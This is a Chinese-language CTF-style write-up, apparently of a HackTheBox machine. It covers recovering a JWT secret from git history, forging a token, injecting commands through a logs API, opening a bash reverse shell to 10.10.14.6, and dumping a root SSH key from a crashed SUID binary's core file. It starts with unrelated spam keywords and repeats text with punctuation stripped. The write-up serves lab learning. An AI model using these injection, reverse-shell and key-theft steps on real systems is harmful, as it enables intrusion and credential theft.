高唐网站建设服务商,淘宝客网站程序模板,网业加速器,百度推广登录账号首页Enumeration
nmap
第一次扫描发现系统对外开放了22#xff0c;80和3000端口#xff0c;端口详细信息如下 可以看到22端口对应的是ssh服务#xff0c;80和3000都是http服务#xff0c;80端口使用nginx#xff0c;3000使用了Node.js
TCP/80
可以先从80端口开始探索…Enumeration
nmap
第一次扫描发现系统对外开放了2280和3000端口端口详细信息如下 可以看到22端口对应的是ssh服务80和3000都是http服务80端口使用nginx3000使用了Node.js
TCP/80
可以先从80端口开始探索看起来是一个文档网站叫DUMBDocs 再往下可以看到有一些功能introduction还提到了使用JWT token认证 在最下面可以下载源代码 将文件解压缩后打开发现里面有.git目录实际上这是一个git仓库可以查看日志看看哪些内容做了改动 可以使用git log来查看日志日志中有一行很有趣提到了因为安全原因删除了.env 可以使用git show来查看当前提交与源代码之间的区别可以看到一个TOKEN_SECRET的明文值但是目前已经变成机密了 查看其他提交时发现引入了/logs目的是让管理员查看服务器上的日志它可能会造成命令执行file变量作为参数传递给git log时最终会传递给exec函数去执行因为verifytoken的存在所以需要身份认证才能做到这一点 查看网站源代码在routes中有一个auth.js在login部分它介绍了如何为登陆成功的用户生成jwt token 利用代码中提到的三个参数以及之前获取得到的TOKEN_SERCET在jwt.io中创建一个jwt token 使用该jwt token请求logs但是却报错了刚才在网站查看时也发现很多接口都在/api下面尝试添加/api添加后没有报404直接报了500 按照刚才代码中所写在请求logs时需要有一个参数尝试添加?fileid可以看到响应中cmd参数的值发生了改变应该是git log --oneline id这个指令exec不知道该如何处理在id前添加;即可 将请求改为/api/logs?file;id之后发现响应正常并且成功执行了指令 可以尝试执行反向shell
;bash-cbash-i%26/dev/tcp/10.10.14.6/44440%261 Privilege Escalation
获取交互式shell 在/opt目录下有一个count文件,该文件是一个SUID文件这意味着无论谁执行这个文件都会以其所有者的身份去运行而count属于root 尝试执行该文件提示需要输入文件名所以输入了/root/root.txt程序统计了文件中的字数并且提示是否保存文件 code.c是程序来源查看其他人的wp并结合代码可以尝试利用count二进制文件来读取ssh密钥然后在文件处理程序被破坏前使程序崩溃程序崩溃后会在/var/crashes目录下创建一个core dump文件。所以可以执行程序然后让程序读取/root/.ssh/id_rsa密钥文件在使用ctrlz置于后台发送对应信号当重新把程序置于前台时就会崩溃并创建转储文件
/opt/count
/root/.ssh/id_rsa
ctrlz
kill -SIGSEGV ps -e | grep -w count|awk -F {print$1}
fg
按照上面的指令逐行执行 执行上述命令后告知核心转储已创建现在可以使用apport-unpack和strings来提取根ssh密钥
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump 复制该密钥保存后添加权限然后可以使用该密钥登录ssh